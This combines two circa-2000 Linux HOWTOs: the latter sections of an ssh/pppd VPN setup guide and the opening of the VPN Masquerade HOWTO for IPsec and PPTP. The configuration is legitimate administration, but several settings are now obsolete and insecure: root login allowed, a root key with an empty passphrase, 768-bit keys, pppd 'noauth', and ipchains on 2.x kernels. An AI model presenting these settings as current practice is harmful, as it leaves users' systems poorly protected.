To start, you'll probably need to rebuild your kernel for the server. You need to make sure that the following kernel options are turned on in addition to basic networking and everything else that you might need. If you've never built your own kernel before, read the Kernel HOWTO.

For 2.0 kernels:

  • CONFIG_FIREWALL
  • CONFIG_IP_FORWARD
  • CONFIG_IP_FIREWALL
  • CONFIG_IP_ROUTER
  • CONFIG_PPP

For 2.2 kernels:

  • CONFIG_FIREWALL
  • CONFIG_IP_ADVANCED_ROUTER
  • CONFIG_IP_FIREWALL
  • CONFIG_IP_ROUTER
  • CONFIG_PPP

5.4 Server: Configure Networking

If you are building a server that has only one network card, I suggest that you think about buying another, and rewiring your network. The best way to keep your network private is to keep it on it's own wires. So if you do have two network cards, you'll need to know how to configure both of them. We'll use eth0 for the external interface, and eth1 for the internal interface.

Configuring the interfaces

We first should configure the external interface of the server. You should already know how to do this, and probably already have it done. If you don't, then do so now. If you don't know how, go back and read the Networking HOWTO

Now we bring up the internal interface. According to the numbers that we've chosen, the internal interface of the server is 192.168.40.254. so we have to configure that interface.

For 2.0 kernels, use the following:

# /sbin/ifconfig eth1 192.168.40.254 netmask 255.255.255.0 broadcast 192.168.40.255
# /sbin/route add -net 192.168.40.0 netmask 255.255.255.0 dev eth1

For 2.2 kernels, use the following:

# /sbin/ifconfig eth1 192.168.40.254 netmask 255.255.255.0 broadcast 192.168.40.255

That get's our basic interfaces up. You can now talk to machines on both local networks that are attached to the server.

Setting routes

We can now talk to machines on our local nets, but we can't get to the rest of our internal network. That requires a few more lines of code. In order to reach the other machines on other subnets, we need have a route that tells traffic to go to the Cisco router. Here's that line:

# /sbin/route add -net 192.168.0.0 gw 192.168.254.254 netmask 255.255.0.0 dev eth1

That line tells the kernel that any traffic destined for the 192.168.0.0 network should go out eth1, and that it should be handed off to the Cisco. Traffic for our local net still gets where it is supposed to because the routing tables are ordered by the size of the netmask. If we were to have other internal nets in our network, we would have a line like the above for each net.

Making filter rules

Ok, so we can reach every machine that we could need to. Now we need to write the firewall filtering rules that allow or deny access through the VPN server.

To set the rules with ipfwadm, run it like so:

# /sbin/ipfwadm -F -f
# /sbin/ipfwadm -F -p deny
# /sbin/ipfwadm -F -a accept -S 192.168.40.0/24 -D 192.168.0.0/16
# /sbin/ipfwadm -F -a accept -b -S 192.168.10.0/24 -D 192.168.0.0/16
# /sbin/ipfwadm -F -a accept -b -S 192.168.11.0/24 -D 192.168.0.0/16

To set the rules with ipchains, run it like so:

# /sbin/ipchains -F forward
# /sbin/ipchains -P forward DENY
# /sbin/ipchains -A forward -j ACCEPT -s 192.168.40.0/24 -d 192.168.0.0/16
# /sbin/ipchains -A forward -j ACCEPT -b -s 192.168.10.0/24 -d 192.168.0.0/16
# /sbin/ipchains -A forward -j ACCEPT -b -s 192.168.11.0/24 -d 192.168.0.0/16

This tells the kernel to deny all traffic except for the traffic that is coming from the 192.168.40.0/24 network and destined for the 192.168.0.0/16 network. It also tells the kernel that traffic going between the 192.168.10.0/24 and 192.168.0.0/16 nets is allowed, and the same for the 192.168.11.0 net. These last two are bidirectional rules, this is important for getting the routing to work going both ways.

Routing

For the home users, everything will work just fine to here. However, for the remote offices, we need to do some routing. First of all, we need to tell the main router, or Cisco, that the remote offices are behind the VPN server. So specify routes on the Cisco that tell it to send traffic destined for the remote offices to the VPN server. Now that that is taken care of, we must tell the VPN server what to do with the traffic destined for the remote offices. To do this, we run the route command on the server. The only problem is that in order for the route command to work, the link must be up, and if it goes down, the route will be lost. The solution is to add the routes when the clients connects, or more simply, to run the route command frequently as it's not a problem to run it more than is necessary. So, create a script and add it to your crontab to be run every few minutes, in it, put the following:

/sbin/route add -net 192.168.11.0 gw 192.168.10.253 netmask 255.255.255.0
/sbin/route add -net 192.168.10.0 gw 192.168.11.253 netmask 255.255.255.0

5.5 Server: Configure pppd

Now we will configure pppd on the server to handle VPN connections. If you are already using this server to handle dialup users or even dialing out yourself, then you should note that these changes may affect those services. I go over how to avoid conflicts at the end of this section.

/etc/ppp/

This directory may contain a number of files. You probably already have a file called options. This file holds all of the global options for pppd. These options cannot be overridden by pppd on the command line.

/etc/ppp/options

Your options file should contain at least the following:

ipcp-accept-local
ipcp-accept-remote
proxyarp
noauth

The first two lines tell pppd to accept what the other end specifies for IP addresses. This is necessary when hooking up remote offices, but can be disabled if you are only connecting home users. It's ok to leave it on, as it does not prevent the server from assigning addresses, it only tells it that it's ok to accept what the client asks for.

The third line is very important. From the pppd man page:

proxyarp
       Add an entry to this system's ARP [Address  Resolu-
       tion  Protocol]  table  with  the IP address of the
       peer and the Ethernet address of this system.  This
       will  have  the effect of making the peer appear to
       other systems to be on the local ethernet.

This is important because if it is not done, local traffic will not be able to get back through the tunnel.

The last line is just as important. This tells pppd to allow connections without username and password. This is safe since authentication is already handled by sshd.

Avoiding conflicts

If you are handling other services with pppd, you should consider that the configurations for these other services may not be the same as what the VPN system needs. pppd is designed such that the options in the main options file /etc/ppp/options cannot be overridden by options specified at runtime. This is done for security reasons. In order to avoid conflict, determine which options cause the conflict, and move them from the main file into a separate options file that is loaded when the appropriate application of pppd is run.

5.6 Server: Configure sshd

The following is what my /etc/sshd_config file looks like. Yours should look the same or similar:

# This is the ssh server system wide configuration file.

Port 22
ListenAddress 0.0.0.0
HostKey /etc/ssh_host_key
RandomSeed /etc/ssh_random_seed
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts yes
StrictModes yes
QuietMode no
FascistLogging yes
CheckMail no
IdleTimeout 3d
X11Forwarding no
PrintMotd no
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication no
RSAAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no
UseLogin no

The important points to note are that password authentication is disabled as are all of the "r" services. I have also turned off mail checking and the message of the day as they can confuse pppd on the client side. I still allow root login, but as this can only be done with a key, it is adequately safe.

5.7 Server: Set up user accounts

Now we'll set up the user accounts.

Add vpn-users group

just run:

# /usr/sbin/groupadd vpn-users

Now cat the /etc/group file and look at the last line. It should be the entry for the vpn-users group. Note the third field. This is the group ID (GID). Write it down, as we'll need it in a minute. For this example, the GID is 101.

create the vpn-users home directory

We're going to use a single home directory for all of the users. So just run:

# mkdir /home/vpn-users

The .ssh directory

Now create the .ssh directory in the vpn-users home directory.

# mkdir /home/vpn-users/.ssh

Adding users

Now comes the fun part. We're going to edit the /etc/passwd file by hand. :) Normally you let the system handle this file, but for a wierd setup like this, it is easier to do it yourself. To start, let's open the /etc/passwd file and see what's in there. Here's an example of what you might find:

...
nobody:x:65534:100:nobody:/dev/null:
mwilson:x:1000:100:Matthew Wilson,,,:/home/mwilson:/bin/bash
joe:*:1020:101:Joe Mode (home),,,:/home/vpn-users:/usr/sbin/pppd
bill:*:1020:101:Bill Smith (home),,,:/home/vpn-users:/usr/sbin/pppd
frank:*:1020:101:Frank Jones (home),,,:/home/vpn-users:/usr/sbin/pppd
...

You'll find the first user on most any system. The second one is me. :) After that are a few made up vpn-users. The first field is the username, and the second is the password field. The third is user ID (UID) and the fourth is the group ID (GID). After that comes some info on who the people are in the fifth field. The sixth field is the user's home directory, and the last is their shell. As you can see, each field is separated by a colon. Look at the last three lines. The only difference between them is the username in the first field, and the user info in the fifth field. What we want to do is create lines like this for each user. Don't just use one user for all of the connections, you'll never be able to tell them apart if you do. So, copy the last line of this file and edit it so that it looks something like the above. Make sure that the second field has an asterisk (*). The second field should be unique to all the other IDs in the file. I used 1020. You should use a number above 1000, since those below are typically reserved for system use. The fourth field should be the group ID for vpn-users. I told you to write it down, now is the time that you need it. So put the group ID in there. Lastly, change the home directory to /home/vpn-users, and the shell to /usr/sbin/pppd. That's it. Now copy that line to make more users. Just edit the first the fifth fields and you're set.

5.8 Server: Administration

One of the advantages to using this system for user accounts is that you can take advantage of the UNIX user administration commands. Since each client is logged in as a user, you can use standard methods to get user statistics. The following are a few commands that I like to use to see what all is going on.

who

Prints the users currently logged in, as well as when they logged in, from where (name or IP), and on which port.

w

This command prints a more extensive listing of who is currently logged in. It also tells you uptime and load averages for the system. It also lists the user's current process (which should be -pppd for VPN clients) as well as idle time, and current CPU usage for all processes as well as the current process. Read the w man page for more info.

last [username]

This lists the login history for the specified user, or for all users if a username is not provided. It's most useful for finding out how well the tunnels are running as it prints the length of time that the user was logged in, or states that the user is still logged in. I should warn you that on a system that has been up a long time, this list can grow extremely long. Pipe is through grep or head to find out exactly what you want to know.

You can also control which users are allowed to connect by modifying the /home/vpn-users/.ssh/authorized_keys file. If you remove the user's public key line from this file, they won't be able to log in.

5.9 Client: Build the kernel

Now we move onto the client. First we must rebuild the kernel so that it can support all of the functions that we need. The minimum requirement is to have ppp in the kernel. After that, you will need forwarding, firewalling, and gatewaying only if you are going to allow other machines access to the tunnel. For this example, I will setup one of the remote office machines in my example layout. Add the following options to your kernel. Again, if you've never built a kernel before, read the Kernel HOWTO.

For 2.0 kernels:

  • CONFIG_PPP
  • CONFIG_FIREWALL
  • CONFIG_IP_FORWARD
  • CONFIG_IP_FIREWALL
  • CONFIG_IP_ROUTER
  • CONFIG_IP_MASQUERADE
  • CONFIG_IP_MASQUERADE_ICMP

For 2.2 kernels:

  • CONFIG_PPP
  • CONFIG_FIREWALL
  • CONFIG_IP_ADVANCED_ROUTER
  • CONFIG_IP_FIREWALL
  • CONFIG_IP_ROUTER
  • CONFIG_IP_MASQUERADE
  • CONFIG_IP_MASQUERADE_ICMP

5.10 Client: Configure Networking

Now we should setup the networking on our client box. Let's assume that we've configured the external network and that it works. Now we will configure the internal interface of the client to service our intranet.

Interface

We need to first bring up the internal network interface. To do this, add the following to your /etc/rc.d/rc.inet1 (or equivalent) file:

For 2.0 Kernels:

/sbin/ifconfig eth1 192.168.10.253 broadcast 192.168.10.255 netmask 255.255.255.0
/sbin/route add -net 192.168.10.0 netmask 255.255.255.0 dev eth1

For 2.2 Kernels:

/sbin/ifconfig eth1 192.168.10.253 broadcast 192.168.10.255 netmask 255.255.255.0

Filter rules

For setting up the remote office, we will want to set up our filter rules that allow traffic to go both directions through the tunnel. Add the following lines to your /etc/rc.d/rc.inet1 (or equivalent) file:

For 2.0 kernels:

/sbin/ipfwadm -F -f
/sbin/ipfwadm -F -p deny
/sbin/ipfwadm -F -a accept -b -S 192.168.10.0/24 -D 192.168.0.0/16

For 2.2 kernels:

/sbin/ipchains -F forward
/sbin/ipchains -P forward DENY
/sbin/ipchains -A forward -j ACCEPT -b -s 192.168.10.0/24 -d 192.168.0.0/16

You may have noticed that these lines look like what we have on the server. That's because they are the same. These rules just say where traffic is allowed to go, that is, between these two networks.

Routing

The only extra routes that are needed are created by the script that bring the tunnel up.

5.11 Client: Configure pppd

You may not need to edit the client's /etc/ppp/options file at all. You will if the "auth" option is present, or some of the other priveledged options. Try it, and if it fails, a black /etc/ppp/options will work. just keep adding the options from the old file to figure out which one broke it (if it's not obvious) and see if you can get around that. Maybe you don't need them at all. You probably don't if you don't use pppd for anything else.

5.12 Client: Configure ssh

As root on the client, run the following lines:

# mkdir /root/.ssh
# ssh-keygen -f /root/.ssh/identity.vpn -P ""

This will create two files, identity.vpn and identity.vpn.pub in the .ssh directory. The first is your private key, and should be kept such. NEVER SEND THIS OVER THE NET unless it is via an encrypted session. The second file is your public key, and you can send this anywhere you want, it only serves to allow you access to other systems, and cannot be used to get into your own. It is a text file with one line in it that is your actual key. At the end of the line is the comment field which you may change without fear of breaking the key. an example key looks something like this:

1024 35 1430723736674162619588314275167.......250872101150654839 root@vpn-client.mycompany.com

It's actually a lot longer than that, but it wouldn't fit on the page if I showed the whole thing. Copy your key into the /home/vpn-users/.ssh/authorized_keys file on the server. Make sure that there is only one key per line, and that each key is not broken onto multiple lines. You may alter the comment field all that you like in order to help you remember which line goes with which user. I highly recommend doing so.

5.13 Client: Bring up the connection

Now we'll try to actually make the connection to the VPN server. First we'll need to make a single connection the set up ssh's known_hosts file. Run this:

# ssh vpn.mycompany.com

Answer ''yes'' when it asks you if you want to continue connecting. The server will tell you ''permission denied'', but that''s ok. It's important that you use the same name for the server that you are using in your connection scripts. Now run the following lines. You will obviously need to change most of the options to fit your setup.

# /usr/sbin/pty-redir /usr/bin/ssh -t -e none -o 'Batchmode yes' -c blowfish -i /root/.ssh/identity.vpn -l vpn-user vpn.mycompany.com > /tmp/vpn-device

        (now wait about 10 seconds)

# /usr/sbin/pppd `cat /tmp/vpn-device` 192.168.10.254:192.168.40.254

Note the IP addresses specified on the pppd line. The first is the address of the client end of the tunnel. The second is the address of the server end of the tunnel, which is set to the server's internal address. If all of that seemed to work, move on. If not, check that you have all of the options, and that they are spelled right. If something is still going wrong, check the Pitfalls section.

5.14 Client: Set the routes

Now set the route to send traffic through the tunnel. Just run this:

# /sbin/route add -net 192.168.0.0 gw vpn-internal.mycompany.com netmask 255.255.0.0

You should now be able to communicate with machines on the other side of the tunnel. Give it a try. Neat huh? If it doesn't work, try using ping and traceroute to figure out where your problem might be. If in fact it does work, move on to setting up scripts to do the work for you.

5.15 Client: Scripting

Use the vpnd script that I show <@@ref>vpn-scripthere. Only, you need to modify it a little. Make the following changes:

  • Change the variables at the top to match your setup. Most should be just fine as they are, but you can change them should you need to.
  • Line 27: add the local and remote IP addresses before $PPP_OPTIONS
  • Line 31: Change this line, and the two after it to set routes for your internal nets.

Keeping it running

While bash scripts are generally stable, they have been known to fail. In order to make sure that the vpnd script keeps running, add an entry to the client's crontab that runs the check-vpnd script. I run mine every 5 minutes or so. If vpnd is indeed running, check-vpnd doesn't use much CPU.


VPN HOWTO: Addenda

 Next Previous Contents

6. Addenda

6.1 Pitfalls

Here are just a few of the snags that I've run into while using this system. I put them here so that you can hopefully avoid them. If you run into any new ones, please email them to me so that I can keep track, and help others avoid them.

read: I/O error

This error apparently comes from pppd. It's associated with mis-matched versions off pppd. If you get it, try upgrading both ends of the connection to the latest version of pppd. I've found that pppd version 2.2 has this problem, and use version 2.3.7 or 2.3.8 instead.

SIOCADDRT: Network is unreachable

This error is generated by route. I've seen it happen when the sleep time between ssh and pppd is not long enough. If you get this error, run ifconfig, you may see that there is no pppX interface. This means that ssh was not done authenticating before pppd was launched, and therefore pppd did not make the connection. just increase the delay, and your problems will be solved.

I wonder however if there might be some pppd option that will fix this problem.

IPv4 Forwarding and 2.2 kernels

In the new 2.2 kernel, you must specifically enable IP forwarding in the kernel at boot up. This with the following command:

# echo 1 > /proc/sys/net/ipv4/ip_forward

Without this, the kernel will not forward any packets, and hence the server will not work, nor will any of the gatewaying clients.

Routing

it should go without saying, but be careful when you are routing real numbers that you don't route traffic destined for the VPN server's external address through the tunnel. It won't make it. (yes, this is from personal experience.)

6.2 Hardware and Software Requirements

Minimum Hardware Requirements

Believe it or not, this system has been run on a 486SX33 with 8 megabytes of RAM. It didn't run very well though, it had trouble handling heavy traffic.

It doesn't take much more to make it work though. This system does work very well on a Pentium 75 with 16 megs of RAM, using an LRP distribution running off of a floppy, with a 6 meg ramdisk, and 10 megs of main memory. I've tested this setup by running a 700kbit RealVideo stream through it for over an hour.

I now typically run it on Pentium 90's, as their PCI clocking plays nicer with cheap 100Mbit Ethernet cards.

Software Requirements

This system works with both the 2.0 and 2.2 kernels. The script to keep the tunnel up requires a reasonably modern bash. I have however noticed that certain distribution's versions of bash don't play too well with the script.

Also, if someone could help me refine my scripts (or even write an executable?) that would helps things a lot. I'm not sure why, but even my own bash doesn't follow the rules and doesn't seem to interpret signals correctly. If you do make any improvements, please email me at matthew@shinythings.com


Linux VPN Masquerade HOWTO

John D. Hardin <jhardin@wolfenet.com>

$Revision: 2.19 $ $Date: 2000-10-22 12:07:43-07 $

How to configure a Linux firewall to masquerade IPsec- and PPTP-based Virtual Private Network traffic, allowing you to establish a VPN connection without losing the security and flexibility of your Linux firewall's internet connection and allowing you to make available a VPN server that does not have a registered internet IP address. Brief information on configuring the VPN client and server is also given.

1. Introduction

  • 1.1 Introduction
  • 1.2 Feedback, Credits & Resources
  • 1.3 Copyright & Disclaimer

2. Background Knowledge

  • 2.1 What is a VPN?
  • 2.2 What is IPsec?
  • 2.3 What is PPTP?
  • 2.4 What is FWZ?
  • 2.5 Why masquerade a VPN client?
  • 2.6 Can several clients on my local network use IPsec simultaneously?
  • 2.7 Can several clients on my local network use PPTP simultaneously?
  • 2.8 Can I access the remote network from my entire local network?
  • 2.9 Why masquerade the VPN server?
  • 2.10 Why patch the Linux kernel?
  • 2.11 Current Status

3. Configuring the Linux firewall

  • 3.1 Example network
  • 3.2 Determining what needs to be done on the firewall
  • 3.3 Patching and configuring the 2.0.x kernel for VPN Masquerade support
  • 3.4 Patching and configuring the 2.2.x kernel for VPN Masquerade support
  • 3.5 ipfwadm setup for a Private-IP VPN Client or Server
  • 3.6 ipchains setup for a Private-IP VPN Client or Server
  • 3.7 A note about dynamic IP addressing
  • 3.8 Additional setup for a Private-IP VPN Server
  • 3.9 ipfwadm setup for a Registered-IP VPN Server
  • 3.10 ipfwadm setup for a Registered-IP VPN Client
  • 3.11 ipchains setup for a Registered-IP VPN Server
  • 3.12 ipchains setup for a Registered-IP VPN Client
  • 3.13 VPN Masq and LRP
  • 3.14 VPN Masq on a system running FreeS/WAN or PoPToP

4. Configuring the VPN client

  • 4.1 Configuring a MS W'95 client
  • 4.2 Configuring a MS W'98 client
  • 4.3 Configuring a MS W'ME client
  • 4.4 Configuring a MS NT client
  • 4.5 Configuring for network-to-network routing
  • 4.6 Masquerading Checkpoint SecuRemote-based VPNs

5. Troubleshooting

  • 5.1 Testing
  • 5.2 Possible problems
  • 5.3 Troubleshooting
  • 5.4 MS PPTP Clients and domain-name issues
  • 5.5 MS PPTP Clients and Novell IPX
  • 5.6 MS network password issues
  • 5.7 If your IPsec session always dies after a certain amount of time
  • 5.8 If VPN masquerade fails to work after you reboot
  • 5.9 If your second PPTP session kills your first session

6. IPsec masquerade technical notes and special security considerations

  • 6.1 Limitations and weaknesses of IPsec masquerade
  • 6.2 Proper routing of inbound encrypted traffic


Linux VPN Masquerade HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Introduction

This document describes how to configure masquerading of IPsec and PPTP VPN traffic. SSH-based VPNs (such as that sold by F-Secure and outlined in the VPN mini-HOWTO) are based on standard TCP traffic and do not need any special kernel modifications.

VPN Masquerade allows you to establish one or more IPsec and/or PPTP sessions to internet-accessible VPN servers via your Linux internet firewall without forcing you to connect to your ISP directly from the VPN client system - thus retaining all of the benefits of your Linux internet firewall. It also allows you to set up a VPN server with a Private Network IP address (as described in RFC1918) behind a masquerading Linux firewall, permitting you to provide relatively secure access to a private network via only one registered IP address - even if that IP address represents a dynamic dial-up link.

It is strongly recommended that you understand, configure and test regular IP Masquerading before you attempt to set up VPN masquerading. Please see the IP Masquerade HOWTO and the IP Masquerade Resource page at http://ipmasq.cjb.net/ before proceeding. Planning and setting up your VPN and firewall is beyond the scope of this document. Here are some resources:

  • http://www.linux.org/help/ldp/howto/Firewall-HOWTO.html
  • http://hal2000.hal.vein.hu/~mag/linux-security/VPN-HOWTO.html

The patch for the 2.0.x-series kernels works well on Linux kernel version 2.0.36, has been incorporated into the 2.0.37 release, may work on versions earlier than 2.0.36, and should work on Linux kernels up to about version 2.1.102. The IP masquerade code in the kernel was restructured at about version 2.1.103, requiring a different patch for the 2.1.105+ and 2.2.x series of kernels. A patch is available for kernels from 2.2.5 to 2.2.17, and it may work on earlier kernels.

1.2 Feedback, Credits & Resources

The home page for the Linux VPN Masquerade kernel patches is http://www.impsec.org/linux/masquerade/ip_masq_vpn.html

Please feel free to send any feedback or comments regarding this document to me at <jhardin@wolfenet.com>. The current version can be found at:

  • HTML: ftp://ftp.rubyriver.com/pub/jhardin/masquerade/VPN-howto/VPN-Masquerade.html
  • Postscript: ftp://ftp.rubyriver.com/pub/jhardin/masquerade/VPN-howto/VPN-Masquerade.ps.gz
  • SGML source: ftp://ftp.rubyriver.com/pub/jhardin/masquerade/VPN-Masquerade.sgml
If you are working with a kernel whose version number is higher than any mentioned in this document, please see if there is an updated version of the HOWTO at the above site before contacting me directly.

It can also be found via the Linux Documentation Project's HOWTO repository and in the /usr/doc/HOWTO/ directory on your nearest Linux system. These copies are not directly updated by me, so they may be somewhat out of date.

I personally have experience with masquerading IPsec and PPTP clients running on MS W'98 and NT, configuring a registered-IP PPTP server, and using PPTP for network-to-network routing.

The information on masquerading a Private-IP PPTP server is from discussions with Len Bayles <len@isdi.com>, Simon Cocking <simon@ibs.com.au> and C. Scott Ananian <cananian@lcs.mit.edu>.

The home page for the PPTP-only Masquerade kernel patch for the 2.1.105+ and early 2.2.x kernel series is http://bmrc.berkeley.edu/people/chaffee/linux_pptp.html.

The home page for the ipportfw port-forwarding kernel patch and configuration tool for 2.0.x kernels is http://www.ox.compsoc.org.uk/~steve/portforwarding.html. Port forwarding is built into the 2.2.x kernel, and the ipmasqadm configuration tool for controlling 2.2.x port forwarding can be obtained at http://juanjox.kernelnotes.org/.

The home page for the ipfwd generic IP redirector is http://www.pdos.lcs.mit.edu/~cananian/Projects/IPfwd/.

Profuse thanks to Gordon Chaffee <chaffee@cs.berkeley.edu> for coding and sharing a patch to traceroute that allows tracing GRE traffic. It should prove invaluable in troubleshooting if your GRE traffic is being blocked somewhere. The patch is available at http://www.wolfenet.com/~jhardin/pptp-traceroute.patch.gz

More thanks to Steve Chinatti <chinatti@alumni.Princeton.EDU> for contributing his original IPsec masquerade hack, from which I shamelessly stole some very important ideas...

More information on setting up firewall rules to run automatically - including how to automatically use the correct IP address in a dynamic-IP environment - can be found at http://www.wolfenet.com/~jhardin/ipfwadm/invocation.html

The home page for Linux FreeS/WAN (IPsec for Linux) is http://www.xs4all.nl/~freeswan/ - this is the preferred Linux VPN solution.

A native Linux PPTP server called PoPToP is available at http://www.moretonbay.com/vpn/pptp.html - for the most up-to-date information about PPTP on Linux, go there.

Paul Cadach <paul@odt.east.telecom.kz> has made patches that add MS-CHAP-v2, MPPE and Multilink support to Linux pppd. See ftp://ftp.east.telecom.kz/pub/src/networking/ppp/ppp-2.3.5-my.tgz for MS-CHAP and MPPE, and ftp://ftp.east.telecom.kz/pub/src/networking/ppp/multilink/ppp-2.3.5-mp.tgz for Multilink. Another (possibly related) set of pppd patches are available at the PoPToP download site at http://www.moretonbay.com/vpn/download_pptp.html.

The home page for the original Linux PPTP project is http://www.pdos.lcs.mit.edu/~cananian/Projects/PPTP and a patch to add PPTP server capability to it is available at http://debs.fuller.edu/cgi-bin/display?list=pptp&msg=222

Thanks to Eric Raymond for maintaining the Jargon File, and Denis Howe for The Free On-line Dictionary of Computing.

1.3 Copyright & Disclaimer

This document is copyright © 1999-2000 by John D. Hardin. Permission is granted to redistribute it under the terms of the LDP License, available at http://www.linuxdoc.org/COPYRIGHT.html

The information presented in this document is correct to the best of my knowledge. IP Masquerading is experimental, and it is possible that I have made a mistake in writing or testing the kernel patch or composing the instructions in this document; you should determine for yourself if you want to make the changes outlined in this document.

THE AUTHOR IS NOT RESPONSIBLE FOR ANY DAMAGES INCURRED DUE TO ACTIONS TAKEN BASED ON THE INFORMATION IN THIS DOCUMENT. BACK UP ANY AND ALL CRITICAL INFORMATION BEFORE IMPLEMENTING THE CHANGES OUTLINED IN THIS DOCUMENT. MAKE SURE YOU HAVE A WORKING, BOOTABLE KERNEL AVAILABLE BEFORE PATCHING AND RECOMPILING YOUR KERNEL AS OUTLINED IN THIS DOCUMENT.
In other words, take sensible precautions.


Linux VPN Masquerade HOWTO: Background Knowledge

 Next Previous Contents

2. Background Knowledge

2.1 What is a VPN?

A Virtual Private Network, or "VPN", is a tunnel that carries private network traffic from one endpoint system to another over a public network (such as the Internet) without the traffic being aware that there are intermediate hops between the endpoints, or the intermediate hops being aware they are carrying the network packets that are traversing the tunnel. The tunnel may optionally compress and/or encrypt the data, providing enhanced performance and some measure of security.

The "Virtual" part stems from the fact that you are constructing a private link over a public network, rather than actually buying a direct hardwired link over leased lines. The VPN allows you to pretend you are using a leased line or direct telephone call to communicate between the endpoints.

You may find the VPN FAQ at http://kubarb.phsx.ukans.edu/~tbird/vpn/FAQ.html informative.

2.2 What is IPsec?

IPsec is a set of standard protocols for implementing secure communications and encryption key exchange between computers. It can be used to implement a VPN.

An IPsec VPN generally consists of two communications channels between the endpoint hosts: a key-exchange channel over which authentication and encryption key information is passed, and one or more data channels over which private network traffic is carried.

The key-exchange channel is a standard UDP connection to and from port 500. The data channels carrying the traffic between the client and server use IP protocol number 50 (ESP).

More information is available in F-Secure's IPsec FAQ at http://www.Europe.F-Secure.com/support/vpn+/faq/techfaq.html, and in RFC2402 (the AH protocol, IP protocol number 51), RFC2406 (the ESP protocol, IP protocol number 50), and RFC2408 (the ISAKMP key-exchange protocol).

IPsec is a peer-to-peer protocol. However, since most people will be exposed to it in the form of an originate-only Windows client being used to access a central network security gateway, "client" will be used to refer to the endpoint host that the user is sitting in front of and "server" will be used to refer to the central network security gateway.

Important note: If your VPN is based on the AH protocol (including AH+ESP), it cannot be masqueraded. The AH protocol specifies a cryptographic checksum across portions of the IP header, including the IP addresses. IP Masquerade is implemented by modifying the source IP address for outbound packets and the destination IP address for inbound packets. Since the masquerading gateway cannot participate in the encryption key exchange, it cannot generate the correct cryptographic checksums for the modified IP headers. Thus the modified IP packets will be discarded by the recipient as invalid, because they fail the cryptographic checksum test.

2.3 What is PPTP?

PPTP stands for Point-to-Point Tunnelling Protocol. It is a Microsoft-proposed protocol for implementing a VPN.

The PPTP VPN protocol consists of two communications channels between the client and server: a control channel over which link-management information is passed, and a data channel over which (possibly encrypted) private network traffic is carried.

The control channel is a standard TCP connection to port 1723 on the server. The data channel carrying the private network traffic uses IP protocol number 47 (GRE), a generic encapsulation protocol described in RFC1701. The transparent transmission of data over the data channel is achieved by negotiating a standard PPP connection over it, just as if it were a dialup connection directly from the client to the server. The options negotiated over the tunnel by PPP control whether the data is compressed and/or encrypted, thus PPTP itself has nothing to do with encryption.

The details of the PPTP protocol are documented in RFC2637.

Microsoft's implementation of the PPTP protocol is not considered very secure. If you're interested in the details, here are three separate analyses:

http://www.counterpane.com/pptp.html

http://www.geek-girl.com/bugtraq/1999_1/0664.html

http://oliver.efri.hr/~crv/security/bugs/NT/pptp2.html

2.4 What is FWZ?

FWZ is a proprietary encryption protocol developed by Check Point Software Technologies. It is used in VPNs that are built around their Firewall-1 product.

A Checkpoint-based firewall can be configured in several modes. The "FWZ Encapsulation" mode cannot be masqueraded. The "IKE" mode, which uses standard IPsec protocols, can be masqueraded with minor configuration changes on the VPN gateway.

2.5 Why masquerade a VPN client?

Most current VPN clients assume you will be connecting the client computer directly to the internet. Doing this when you have only a single connection for internet access bypasses your Linux firewall and the security and access-sharing capabilities that it provides. Extending the Linux firewall to also masquerade VPN traffic allows you to retain the firewalling security provided by the Linux firewall as well as permitting the other systems on your local network to access the internet regardless of whether or not the VPN network connection is active.

If your firewall is being used in a corporate setting you may also wish to require your VPN client users to go through that firewall for security reasons, rather than providing them with modems so they can dial out on their own when they need to use VPN. VPN Masquerade allows you to do so even if the desktops do not have registered IP addresses.

2.6 Can several clients on my local network use IPsec simultaneously?

Yes, though there may occasionally be minor problems.

The IPsec protocols define a method for identifying the traffic streams called the Security Parameters Index ("SPI"). Unfortunately the SPI used by outbound traffic is different from the SPI used by inbound traffic, and there is no other identifying information available that is not encrypted, so association of the inbound and outbound data streams is difficult and not perfectly reliable.

IPsec Masquerade attempts to associate inbound and outbound ESP traffic by serializing new connections. While this has worked well in testing, it cannot be guaranteed to be perfectly reliable, and the serialization of new traffic may result in some timeouts if the link is saturated or if many local IPsec hosts attempt to initiate communications or rekey with the same remote IPsec host simultaneously.

It is also assumed that should this association scheme fail to associate the traffic streams correctly, the IPsec hosts themselves will discard the incorrectly routed traffic because it will have the wrong SPI values. This is required by the IPsec RFCs.

These problems could be eliminated if there was some way to sniff the new SPI values from the ISAKMP key exchange before any ESP traffic appears, but unfortunately that portion of the key exchange is encrypted.

To minimize the problems associated with this, it is recommended that you open a command window on your masqueraded IPsec host and run the "ping" program pinging a host on the remote network for as long as you have the tunnel up.

See the IPsec technical notes at the end of the document for more details.

2.7 Can several clients on my local network use PPTP simultaneously?

Yes.

You must enable PPTP Call ID masquerade when configuring your kernel in order to distinguish between multiple data streams from the same server. PPTP masq with Call ID masq enabled will support many concurrent masqueraded sessions with no restrictions on which server a client can call.

The PPTP RFC specifies in section 3.1.3 that there may only be one control channel connection between two systems. This should mean that you can only masquerade one PPTP session at a time with a given remote server, but in practice the MS implementation of PPTP does not enforce this, at least not as of NT 4.0 Service Pack 4. If the PPTP server you're trying to connect to only permits one connection at a time, it's following the protocol rules properly. Note that this does not affect a masqueraded server, only multiple masqueraded clients attempting to contact the same remote server.

For another alternative, see the next question...

2.8 Can I access the remote network from my entire local network?

Yes. However, your VPN client must be able to forward IP traffic.

This means that you'll either have to use a Linux VPN client or a MS NT VPN client. The IP stack in W'95 and W'98 does not support IP forwarding. NT Workstation will work for this, and is less expensive than NT Server if you're only using it to route encrypted traffic.

If you cannot install a Linux or NT-based VPN client, then you'll have to enable PPTP Call-ID masquerade if you are using PPTP, and install VPN client software on every system you want to provide access for. This is inefficient, aesthetically revolting, a security weakness, and may not work if the PPTP server correctly implements the protocol, but it's cheaper than licensing NT.

Network-to-network routing this way works very well. This is how I have my home network set up for telecommuting. It does require a little more networking knowhow than simply giving everybody their own VPN client.

In my experience, network-to-network routing in a pure-MS environment requires RRAS be installed at both ends of the tunnel.

2.9 Why masquerade the VPN server?

If your VPN server has a registered IP address you do not need to masquerade it, simply configure your firewall to route the VPN traffic properly as described below.

